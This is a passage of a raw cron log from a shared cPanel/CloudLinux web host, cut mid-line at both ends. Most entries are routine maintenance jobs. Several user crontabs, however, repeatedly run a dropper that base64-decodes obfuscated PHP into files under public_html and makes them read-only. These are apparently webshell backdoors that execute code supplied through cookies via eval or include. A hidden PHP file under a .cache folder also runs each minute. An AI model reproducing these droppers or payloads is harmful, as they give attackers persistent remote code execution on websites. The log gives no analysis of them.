6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:39:02 medusa CROND[30700]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:40:01 medusa CROND[21670]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 06:40:01 medusa CROND[21683]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 06:40:01 medusa CROND[21717]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 19 06:40:01 medusa CROND[21804]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:40:01 medusa CROND[21809]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 06:40:01 medusa CROND[21813]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 06:40:01 medusa CROND[21814]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 06:40:01 medusa CROND[21810]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 06:40:01 medusa CROND[21811]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Apr 19 06:40:01 medusa CROND[21812]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 06:40:01 medusa CROND[21816]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:40:01 medusa CROND[21817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:40:01 medusa CROND[21819]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 06:40:01 medusa CROND[21815]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Apr 19 06:40:01 medusa CROND[21822]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:40:01 medusa CROND[21823]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:40:01 medusa CROND[21818]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:40:01 medusa CROND[21830]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 06:40:01 medusa CROND[21835]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 06:40:01 medusa CROND[21834]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Apr 19 06:40:01 medusa CROND[21838]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:40:01 medusa CROND[21839]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:40:01 medusa CROND[21840]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:40:01 medusa CROND[21841]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:40:01 medusa CROND[21850]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 06:40:01 medusa CROND[21853]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:40:01 medusa CROND[21842]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 06:40:01 medusa CROND[21826]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Apr 19 06:41:01 medusa CROND[13214]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:41:01 medusa CROND[13265]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 06:41:01 medusa CROND[13301]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 06:41:01 medusa CROND[13304]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:41:01 medusa CROND[13309]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 06:41:01 medusa CROND[13312]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:41:01 medusa CROND[13313]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:41:01 medusa CROND[13315]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:41:01 medusa CROND[13317]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:41:01 medusa CROND[13318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:41:01 medusa CROND[13320]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:41:01 medusa CROND[13319]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:41:01 medusa CROND[13323]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:41:01 medusa CROND[13326]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:42:01 medusa CROND[5168]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 06:42:01 medusa CROND[5240]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:42:01 medusa CROND[5241]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo 